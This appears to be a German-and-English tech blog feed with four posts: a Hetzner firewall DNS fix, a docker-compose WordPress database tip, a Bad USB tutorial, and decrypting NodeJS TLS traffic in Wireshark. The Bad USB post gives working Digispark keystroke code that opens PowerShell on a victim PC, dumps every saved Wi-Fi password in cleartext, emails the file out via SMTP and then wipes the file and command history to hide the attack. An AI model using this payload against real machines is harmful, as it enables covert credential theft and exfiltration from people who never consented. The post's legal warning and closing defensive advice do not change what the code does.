Der Cloud Dienstleister Hetzner ist gerade in Deutschland für günstige und performante VPS Server bekannt. Deshalb zog ich jüngst zum günstigeren Cloud Anbieter Hetzner um und verwende die CX 11 Instanz. Nach Aufsetzen des Servers war über die Shell keine Verbindung zum Internet möglich, da Domain Namen nicht aufgelöst wurden. Auch der berühmte ping 8.8.8.8 Test schlug fehl. Nach längerer Untersuchung der resolv.conf, die in Debian für die Namensauflösung verantwortlich ist, konnte ich das Problem nicht lösen bis ich mir die Firewallregeln ansah.

Die Lösung:

Schuld waren die standardmäßigen Firewallregeln, die in der Cloud Oberfläche von Hetzner.com definiert werden können. Dort wird lediglich jeder ausgehende TCP Traffic erlaubt, jedoch handelt es sich bei DNS Requests um UDP Pakete. Deshalb wurde der Kontakt mit DNS Servern zur Namensauflösung verhindert. Das Problem kann durch das Hinzufügen der Regel ANY IPv4 ANY IPv6, Protokoll: UDP und Port: any unter Firewall>Regeln bei Ausgehend-> durch REGEL HINZUFÜGEN behoben werden. Im Folgenden die hinzugefügte Regel in der Cloud Oberfläche:

Das blockieren von ausgehenden UDP-Traffic ist für den Betrieb eines Webservers z.B. nicht weiter schlimm, da Updates via apt update vom Hetzner Mirror geladen werden, wofür keine Namensauflösung notwendig ist. Erst beim Betreiben von bspw. eines VPNs, führt die fehlende Regel zu keiner Verbindung zum Internet.

Ich hoffe ich konnte euch helfen und erspare euch die Zeit sich mit solchen Problemen auseinanderzusetzen um etwas produktives tun zu können. Ihr könnt mir bei weiteren Fragen und Problemen gerne schreiben, nutzt dafür einfach das Kontaktformular und ich werde mich schnellstmöglich bei euch melden

The post Hetzner Cloud – Keine DNS Verbindung zum Internet appeared first on Tutorial Tech.

A famous docker compose file is the one to be found on the documentation page of docker.com. The script in the following or here:

version: "3.9"
    
services:
  db:
    image: mysql:5.7
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: somewordpress
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
    
  wordpress:
    depends_on:
      - db
    image: wordpress:latest
    volumes:
      - wordpress_data:/var/www/html
    ports:
      - "8000:80"
    restart: always
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
volumes:
  db_data: {}
  wordpress_data: {}

This article does not aim to be another step-by-step instruction on how to use the plugin, but rather address difficulties with the database connection within Docker. If you are not familiar with the process on how to use the WordPress Plugin Duplicator, please check the following tutorials:

WordPress umziehen ganz einfach mit dem Plugin “Duplicator” – Pixelbar GmbH Eupen – Webdesign – Digitale Medien – Webentwicklung

Duplicator – WordPress Migration Plugin – WordPress-Plugin | WordPress.org Deutsch

In step 2 of the installation wizard, you are supposed to enter the connection details of your MySQL server. In most of the tutorials, the host field shows localhost or 127.0.01. You might think now, since docker runs on my localhost, this should be fine. In reality this is a common pitfall with Docker, because it sets up its own network. Therefore, you need to use the container name specified below services, which is db. With the above underlying docker-compose file, your config should look like the following:

After testing the database connection, you should see this screen to continue with the installation wizard.

I hope I was able to help you. If you need further assistance, feel free to contact me on my Mail: mail@julius-reinhardt.de. In case you are interested in other articles, you can check Wifi Passwörter stehlen mit 1€ Bad USB Stick – Tutorial Tech or How to decrypt Nodejs TLS traffic with Wireshark – Tutorial Tech.

The post WP Duplicator database connection with docker compose appeared first on Tutorial Tech.

Was ist ein Bad USB Stick?

Ein Bad USB Stick ist im Idealfall ein unscheinbar aussehender Datenträger, der sich sobald eingesteckt als Tastatur oder Maus ausgibt (Human Interface Device). Manche handelsüblichen USB Sticks haben einen Mikroprozessor verbaut, der durch Manipulation der Firmware als Bad USB Stick verwendet werden kann. Deshalb sollten auch niemals USB Sticks eingesteckt werden, die z.B. auf der Straße oder Bibliothek gefunden wurden.

Bei dem Digispark Attiny 85 handelt es sich um einen programmierbaren Mikrocontroller mit einem 16,5 MHz Prozessor. Dadurch können mit der mitgelieferten Bibliothek Tastaturanschläge und Tastenkombinationen an den Opfer-PC gesendet werden um z.B. die Kommandozeile zu öffnen und Befehle auszuführen.

Vor diesem Angriff kann man sich mit herkömmlichen Anti-Viren Systemen nicht schützen, da sie in der Regel nicht die Firmware des angeschlossenen Geräts überprüfen.

Setup

Für das Tutorial wird Folgendes benötigt:

• Digispark Attiny 85
• Arduino IDE
• Windows 10 Opfer-PC

Einrichten von Arduino

Um den Digispark zu installieren und die Bibliotheken zu nutzen, muss der Mikrocontroller im Boardmanager installiert werden. Dafür empfehle ich die folgende Anleitung vom Hersteller: http://digistump.com/wiki/digispark/tutorials/connecting

Der vollständige Code liegt auf dem Repository in Github, welches ihr mit folgendem Befehl herunterladen könnt:

git clone https://github.com/jreinhardt2/Digispark_WifiMailer.git

ACHTUNG! Die Verwendung des Skripts ohne Einwilligung des Opfers stellt eine Straftat dar!

Erklärung des Codes

Powershell auf dem Zielsystem öffnen

Mit dem folgenden Code Block wird die Powershell mit Benutzerberechtigungen geöffnet.

DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT); //Windows + X
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_A); // A
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT);// Pfeiltaste nach Links
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);//Enter
DigiKeyboardDe.delay(1000);

Auslesen der Wifi Passwörter mit Powershell

Im nächsten Schritt werden die Wifi-Namen auch SSID genannt und deren Passwörter ausgelesen. Danach wird ein Objekt mit den ausgelesenen Daten erstellt und als csv Datei exportiert.

DigiKeyboardDe.print(F("netsh wlan show profiles | Select-String ':(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Schl"));
DigiKeyboard.sendKeyStroke(47); // ü
DigiKeyboardDe.print(F("sselinhalt.*:(.+)$'|  %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv;exit"));

Zu Beginn werden alle Wifi Profile angezeigt mit netsh wlan show profiles. Dabei werden alle Wlan Punkte angezeigt mit dem der Windows PC je verbunden war. Mit Hilfe eines Regex werden nun alle Namen herausgefiltert und in der Variable $name gespeichert. Der Ausdruck ${ … } ist die Kurzschreibweise von For-Each, wobei es sich um eine spezielle Art der For-Schleife handelt.

Im nächsten Schritt wird für jeden herausgefilterten Wifi-Namen das Profil angezeigt mit dem Wifi-Passwort im Klartext, was mittels key=clear sichergestellt wird.

Anschließend wird das Wifi-Passwort für jede SSID durch ein Regex gefiltert und in der Variable $pass gespeichert. Das “ü” in Schlüsselinhalt muss separat geschickt werden mit sendKeystroke(47);,.

Abschließend wird ein Objekt erstellt mit allen Namen und deren zugehörigen Passwörter. Dieses Objekt wird im nächsten Schritt als csv exportiert und gespeichert.

Die erstellte csv Datei kann nun an eine beliebige E-Mail gesendet werden. Dafür wird das Send-MailMessage CMDlet von Powershell verwendet.

  DigiKeyboardDe.print(F("$Username = '<EMAIL_BENUTZERNAME>';$Password = 'EMAIL_PASSWORT';$pass = ConvertTo-SecureString -AsPlainText $Password -Force;$SecureString = $pass;$MySecureCreds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username,$SecureString; $From = '<ABSENDER_EMAILADRESSE>';$To = 'EMPFÄNGER_EMAILADRESSE';$Attachment = 'temp.csv';$Subject = 'Digispark Wlan';$Body = 'Wifi Passwörter im Anhang';$SMTPServer = 'smtp.gmail.com';$SMTPPort = '587';Send-MailMessage -From $From -to $To -Subject $Subject -Body $Body -SmtpServer $SMTPServer -port $SMTPPort -UseSsl -Credential $MySecureCreds -Attachments $Attachment;exit"));

In dem Code sind die SMTP Informationen von Gmail schon vorausgefüllt, jedoch kann jeder beliebige Mail-Provider bzw. SMTP Server verwendet werden. Achtung! Bei Gmail muss das Senden von nicht autorisierten Drittprogrammen wie Powershell manuell im Account aktiviert werden. Die Anleitung dazu ist hier verlinkt.

Am Ende des Codes wird die csv Datei wieder gelöscht, sowie die Powershell Befehlshistorie. Dadurch werden alle Spuren verwischt, die auf einen Angriff hinweisen.

Anpassung des Skripts

Bei langsameren Opfersystemen müssen die delay(Zeit in ms) im Code erhöht werden, sodass keine neuen Anweisungen geschickt werden, obwohl die Alten noch nicht ausgeführt wurden. Dieses Skript funktioniert nur auf einem Windows 10 System mit deutscher Spracheinstellung. Die englische Variante ist hier verfügbar.

Fazit

Bad USB Sticks stellen eine große Gefahr für Unternehmen, sowie für Privatanwender dar. Schutz bieten Endpoint Protection Lösungen oder das Zukleben der USB Ports. Aufgrund der ausgehenden Gefahr sollten niemals USB-Sticks eingesteckt werden, die nicht von vertrauenswürdigen Quellen kommen und vor allem der Computer beim Verlassen des Arbeitsplatz gesperrt werden.

The post Wifi Passwörter stehlen mit 1€ Bad USB Stick appeared first on Tutorial Tech.

Cipher Suites and Perfect Forward Secrecy

AWS recommends Cipher Suites like ECDHE-ECDSA-AES128-GCM-SHA256 with an ECDHE Key Exchange Algorithm which has the Perfect Forward Secrecy (PFS) feature. Therefore, session keys will not be compromised even by capturing the private key because of a new set of Diffie-Hellmann parameters generated upon every session. This means, that even with the private key, we are not able to see plain communication. Therefore, we need to ensure the use of a weaker Cipher Suite without PFS, if you have the private key.

Cipher Suite downgrade

In order to decrypt the packets with the private key, you need to downgrade the Cipher Suite to one, which doesn’t use ECDHE as Key Exchange Algorithm. This is because of the PFS feature stated here. On the official website of Amazon Web Services is a list of all supported Suites. Now choose one without ECDHE like AES128-SHA​ which uses RSA as Key Exchange Algorithm. This option alone only works, when you are in possession of the used private key.

TLS Keylog File

How do we retrieve the decryption key now? If you get your hands on the private key used by Amazon or Microsoft, you are able to decrypt packets but that is rather unlikely. The next best thing is the session key used for encrypting the packets. This is possible by logging information about that key during communication in a keylog file. This file is loaded later into Wireshark to decrypt traffic. In the following step we look at the decryption process with NodeJs.

NodeJs TLS keylog file

At first we assume iot-device.js is the file containing device logic. Now you pass the parameter tls-cipher-list=”<cipher-suite>” to select a supported cipher suite without ECDHE. With tls-keylog=”<path>” you specify the path for the keylog file. Afterward start listening with Wireshark to capture the traffic and start your code on the device with the following command. These parameters are available since NodeJs version 12 ! Note, you don’t need to use a weaker cipher suite and the tls-cipher-cipher argument, if you use the tls-keylog option.

node --tls-cipher-list="AES128-SHA" --tls-keylog=$(pwd)/keylog.txt iot-device.js

During execution and after the TLS connection is established the session key is logged in keyfile.txt. Now you can load the keylog.txt in Wireshark and decrypt traffic.

TLS decryption in Wireshark with keylog file

During execution and after the TLS connection is established the session key is logged in keyfile.txt. Now you can load the keylog.txt in Wireshark.

In Wireshark you can filter the TLS traffic with “tls” filter option. Next, you right-click an encrypted TLS packet and click on “Protocol Preferences” > “(Pre)-Master-Secret log filename…” and choose the keylog file in the following dialog.

Now you can inspect decrypted messages between your IoT-device and your Cloud Solution by clicking on “Decrypted TLS” at the bottom.

Conclusion

As you can see with a few tweaks it is possible to view and debug encrypted traffic between your device and the cloud. If you have trouble following this tutorial please feel free to leave a comment below and I will answer as fast as possible.

If you are interested in how I started this blog, you can check out my previous Post.

The post How to decrypt NodeJs TLS traffic with Wireshark appeared first on Tutorial Tech.